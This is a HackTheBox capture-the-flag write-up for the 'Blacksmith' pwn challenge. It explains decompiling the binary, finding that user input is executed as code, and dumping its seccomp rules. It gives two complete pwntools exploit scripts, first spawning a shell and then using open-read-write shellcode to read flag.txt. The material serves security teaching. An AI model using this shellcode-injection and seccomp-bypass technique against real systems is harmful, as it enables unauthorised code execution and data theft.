Blacksmith

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".

Solution Approach

Core idea: Bypassing secure-computing rules. Implement ORW (Open-Read-Write) exploit.

Steps

1. First, unzip the .zip file given.

2. Check the file type.

3. Since it's a binary file, now check the the binary's protection.

4. Let us decompile the binary using ghidra.

5. Based on the main() function, we know that the program will prompts us an input.

6. If we input 1, then the program will print &DAT_001012e0, which allows us to choose another input.

7. If we choose 2, the program will call the shield() function, 3 for the bow() function and 1 for the sword() function.

8. Let us deep dive to those 3 functions.

SHIELD()

1. At the shield() we know that there's no bufferoverflow vuln, but we are given direct code execution.

BOW()

1. Nothing interesting here, let us check the sword() function.

SWORD()

1. Still the same, hence let us go back to the shield() function.

2. Now let us run chmod to the binary then run the it in gdb.

3. Choose for the shield.

4. Input any strings.

5. Got segmentation fault here, it happens not because we overflowed the buffer, because what we enter will be executed as code which is not valid.

6. Hence our here is our temporary script.

TEMPS SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './blacksmith'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

sh = start()

### we are using shellcraft, because it's just executing code.

shellcode = asm(shellcraft.sh())

sh.sendlineafter('>', b'1')
sh.sendlineafter('>', b'2')
sh.sendlineafter('>', flat(shellcode))

sh.interactive()

OUTPUT

1. Use shellcraft.cat since the desc said that the flag is under /flag.txt`. Change the sh.interactive() to this:

getFlag = sh.recv()
success(getFlag)

1. Based on the output we got, i think there's seccomp protections.

SECCOMP

Secure computing mode ( seccomp ) is a Linux kernel feature. You can use it to restrict the actions available within the container. The seccomp() system call operates on the seccomp state of the calling process. You can use this feature to restrict your application's access.

1. To validate our assumption, let us run ldd to the binary.

2. Yepp, we're right.

3. Now let us dump the rule using seccomp-tools.

sudo seccomp-tools dump ./blacksmith

1. Based on the rules, the binary allows to use read(), write() , and open().
2. That's why when we use cat or get into the shell, the program terminated.
3. So, the flow we shall use is, using the open() function to open the flag, then use the read() function to read the flag , and use the write() write the flag to the standard output.
4. Now let us update our script:

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './blacksmith'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

sh = start()

### we are using shellcraft, because it's just executing code.

#shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.open('flag.txt'))

### ssize_t read(int fildes, void *buf, size_t nbyte);

### int fildes value -> 3, because we want to read from a file | check linux man pages -> die.net (num2 - read)

### void*buf -> rsp, because we want to read it to the stack

### size_t nbyte -> since the flag won't be too long, input any bytes size.

shellcode += asm(shellcraft.read(3, 'rsp', 50))

### ssize_t write(int fildes, const void *buf, size_t nbyte);

### int fildes -> 1 , because we want to send message to out standard output (another user) | check linux man pages -> die.net (num1 - write)

shellcode += asm(shellcraft.write(1, 'rsp', 'rax'))

sh.sendlineafter('>', '1')
sh.sendlineafter('>', '2')
sh.sendlineafter('>', flat(shellcode))

### Need to add these lines of script, dunno why if exclude it, won't get the flag.

sh.recv()
#sh.interactive()
getFlag = sh.recv()
success(getFlag)

1. Let us test it remotely.

2. Got the flag!

NOTES:

1. To check available shellcraft function.
2. Run this on ur terminal:

pwn shellcraft -l | grep linux

Flag

REDACTED

Lessons Learned

1. Bypassing secure-computing rules.
2. Implement ORW (Open-Read-Write) exploit.